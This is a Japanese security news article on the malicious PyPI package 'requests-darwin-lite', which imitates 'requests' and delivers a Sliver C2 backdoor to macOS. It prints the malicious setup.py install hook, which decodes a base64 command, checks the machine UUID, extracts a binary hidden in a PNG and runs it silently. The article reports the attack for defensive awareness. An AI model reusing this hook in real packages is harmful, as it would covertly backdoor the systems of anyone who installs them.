PyPIの人気ライブラリ「requests」に偽装したバックドア ライブラリ「requests-darwin-lite」を確認

PyPIの人気ライブラリ「requests」に偽装したバックドア ライブラリ「requests-darwin-lite」を確認

2024年5月10日 セキュアな開発環境を支援するツールを提供しているPhylumが、PytonのPyPi(Python Package Index)の人気ライブラリ「requests」に似せた、「requests-darwin-lite」という無害を装ったパッケージをダウンロードするとバックドアが仕込まれる事を公表しました。

サイバー攻撃者の手口

Phylum が確認した最新の攻撃では、「requests-darwin-lite」という名前の macOS 用の悪意のある Python パッケージから始まります。

PyPI でホストされているこのパッケージには、Requests ロゴが入った 17MB の PNG 画像ファイル内に Sliver C2のバイナリが含まれています。

MacOS システムへのインストール中に、PyInstall クラスが実行され、base64 でエンコードされた文字列がデコードされ、システムの UUID (Universal Unique Identifier) を取得するコマンド (ioreg) が実行されます。

以下からPhylumのコード用いて解説します。

正規のライブラリrequestssetup.py抜粋

以下はrequestsの正規のパッケージファイルからの抜粋setup.py

# --- CLIPPED ---

class PyTest(TestCommand):
    user_options = [("pytest-args=", "a", "Arguments to pass into py.test")]

    def initialize_options(self):
        TestCommand.initialize_options(self)
        try:
            from multiprocessing import cpu_count

            self.pytest_args = ["-n", str(cpu_count()), "--boxed"]
        except (ImportError, NotImplementedError):
            self.pytest_args = ["-n", "1", "--boxed"]

    def finalize_options(self):
        TestCommand.finalize_options(self)
        self.test_args = []
        self.test_suite = True

    def run_tests(self):
        import pytest

        errno = pytest.main(self.pytest_args)
        sys.exit(errno)

setup(
    # --- CLIPPED ---
    cmdclass={"test": PyTest},
    tests_require=test_requirements,
    extras_require={
        "security": [],
        "socks": ["PySocks>=1.5.6, !=1.5.7"],
        "use_chardet_on_py3": ["chardet>=3.0.2,<6"],
    },
    project_urls={
        "Documentation": "<https://requests.readthedocs.io>",
        "Source": "<https://github.com/psf/requests>",
    },
)

悪意のライブラリrequests-darwin-litesetup.py抜粋

# --- CLIPPED ---
class PyInstall(install):
    def run(self):
        if sys.platform != "darwin":
            return 
        
        c = b64decode("aW9yZWcgLWQyIC1jIElPUGxhdGZvcm1FeHBlcnREZXZpY2U=").decode()
        raw = subprocess.run(c.split(), stdout=subprocess.PIPE).stdout.decode()
        k = b64decode("SU9QbGF0Zm9ybVVVSUQ=").decode()
        uuid = raw[raw.find(k)+19:raw.find(k)+55]
        
        if uuid == "08383A8F-DA4B-5783-A262-4DDC93169C52":
            dest = "docs/_static/requests-sidebar-large.png"
            dest_dir = "/tmp/go-build333212398/exe/"
            with open(dest, "rb") as fd:
                content = fd.read()

            offset = 306086
            os.makedirs(dest_dir, exist_ok=True)
            with open(dest_dir + "output", "wb") as fd:
                fd.write(content[offset:])

            os.chmod(dest_dir + "output", 0o755)
            subprocess.Popen([dest_dir + "output"], close_fds=True, stderr=subprocess.DEVNULL, stdout=subprocess.DEVNULL)
            install.run(self)
setup(
    # --- CLIPPED ---
    cmdclass={
        "install" : PyInstall,
        "test": PyTest,
        },
    tests_require=test_requirements,
    extras_require={
        "security": [],
        "socks": ["PySocks>=1.5.6, !=1.5.7"],
        "use_chardet_on_py3": ["chardet>=3.0.2,<6"],
    },
    project_urls={
        "Documentation": "<https://requests.readthedocs.io>",
        "Source": "<https://github.com/psf/requests>",
    },
)

一致する場合、PNG ファイル内の Go バイナリが読み取られ、ファイルのオフセットの特定の部分から抽出されます。

なお、Phylum が PyPI チームに request-darwin-lite を報告した後、このパッケージは削除されました。

悪意のあるバージョンは 2.27.1 と 2.27.2 でしたが、後続の 2.28.0 と 2.28.1 には悪意のある変更とインストール フックがありませんでした

ポストエクスプロイトツール Sliver C2とは

ポストエクスプロイトツールの1つで、サイバー攻撃者が標的のネットワークや端末に侵入した後の活動を支援するオープンソースのツールで、具体的には対象のネットワーク端末や通信の構成やC2Cサーバとの通信確保し通信端末の踏み台化を行います。

ポストエクスプロイトツールは、ホワイトハッカーがペネトレーションテストを実施する際に利用するツールで必ずしも、悪意のある活動だけで利用されるものではありませんが、
ハッカーはこういったポストエクスプロイトツールを悪用し、対象へサイバー攻撃を実施します。

実際、Sliver C2はクロスプラットフォーム (Windows、macOS、Linux) 対応で、オープンソースであることから2024 年 2 月のCISA と FBI によるサイバーセキュリティ 勧告 では、ネットワークに侵入するハッカーが使用する一般的なツールの 1 つとして、Sliver C2の地位が高まっている事が強調されています。

引用

PyPi package backdoors Macs using the Sliver pen-testing suite

Malicious Go Binary Delivered via Steganography in PyPI

TOPへ